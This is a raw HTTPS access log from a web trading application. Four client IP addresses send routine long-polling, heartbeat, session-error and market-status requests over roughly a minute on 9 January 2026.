[09/Jan/2026:14:16:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939677800 HTTP/1.1" -
[09/Jan/2026:14:16:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939672038 HTTP/1.1" -
[09/Jan/2026:14:16:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939674537 HTTP/1.1" -
[09/Jan/2026:14:16:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939691972 HTTP/1.1" -
[09/Jan/2026:14:16:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939682894 HTTP/1.1" -
[09/Jan/2026:14:16:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939677334 HTTP/1.1" -
[09/Jan/2026:14:16:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939679656 HTTP/1.1" -
[09/Jan/2026:14:16:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939696995 HTTP/1.1" -
[09/Jan/2026:14:16:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939687963 HTTP/1.1" -
[09/Jan/2026:14:16:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939682397 HTTP/1.1" -
[09/Jan/2026:14:16:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939684802 HTTP/1.1" -
[09/Jan/2026:14:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939702071 HTTP/1.1" -
[09/Jan/2026:14:16:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939693004 HTTP/1.1" -
[09/Jan/2026:14:16:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939687457 HTTP/1.1" -
[09/Jan/2026:14:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939689970 HTTP/1.1" -
[09/Jan/2026:14:17:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939707135 HTTP/1.1" -
[09/Jan/2026:14:17:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939698347 HTTP/1.1" -
[09/Jan/2026:14:17:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939692496 HTTP/1.1" -
[09/Jan/2026:14:17:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939695034 HTTP/1.1" -
[09/Jan/2026:14:17:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939712161 HTTP/1.1" -
[09/Jan/2026:14:17:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:17:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939703378 HTTP/1.1" -
[09/Jan/2026:14:17:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939697580 HTTP/1.1" -
[09/Jan/2026:14:17:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939700175 HTTP/1.1" -
[09/Jan/2026:14:17:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:17:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939717192 HTTP/1.1" -
[09/Jan/2026:14:17:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939708446 HTTP/1.1" -
[09/Jan/2026:14:17:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939702646 HTTP/1.1" -
[09/Jan/2026:14:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939705236 HTTP/1.1" -
[09/Jan/2026:14:17:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939722224 HTTP/1.1" -
[09/Jan/2026:14:17:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939713513 HTTP/1.1" -
[09/Jan/2026:14:17:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939707836 HTTP/1.1" -
[09/Jan/2026:14:17:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:17:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939710399 HTTP/1.1" -
[09/Jan/2026:14:17:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939727260 HTTP/1.1" -
[09/Jan/2026:14:17:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939718606 HTTP/1.1" -
[09/Jan/2026:14:17:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939712888 HTTP/1.1" -
[09/Jan/2026:14:17:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:17:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939715541 HTTP/1.1" -
[09/Jan/2026:14:17:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939723634 HTTP/1.1" -
[09/Jan/2026:14:17:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939733199 HTTP/1.1" -
[09/Jan/2026:14:17:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939717970 HTTP/1.1" -
[09/Jan/2026:14:17:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939720709 HTTP/1.1" -
[09/Jan/2026:14:17:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939728704 HTTP/1.1" -
[09/Jan/2026:14:17:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939739187 HTTP/1.1" -
[09/Jan/2026:14:17:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939723132 HTTP/1.1" -
[09/Jan/2026:14:17:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939725760 HTTP/1.1" -
[09/Jan/2026:14:17:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:17:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939733797 HTTP/1.1" -
[09/Jan/2026:14:17:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939745186 HTTP/1.1" -
[09/Jan/2026:14:17:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939728205 HTTP/1.1" -
[09/Jan/2026:14:17:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939730911 HTTP/1.1" -
[09/Jan/2026:14:17:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:17:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939738863 HTTP/1.1" -
[09/Jan/2026:14:17:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939733266 HTTP/1.1" -
[09/Jan/2026:14:17:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939751190 HTTP/1.1" -
[09/Jan/2026:14:17:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939735969 HTTP/1.1" -
[09/Jan/2026:14:17:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939743947 HTTP/1.1" -
[09/Jan/2026:14:17:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:17:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939738328 HTTP/1.1" -
[09/Jan/2026:14:17:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939741123 HTTP/1.1" -
[09/Jan/2026:14:17:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939757193 HTTP/1.1" -
[09/Jan/2026:14:17:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939749019 HTTP/1.1" -
[09/Jan/2026:14:17:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
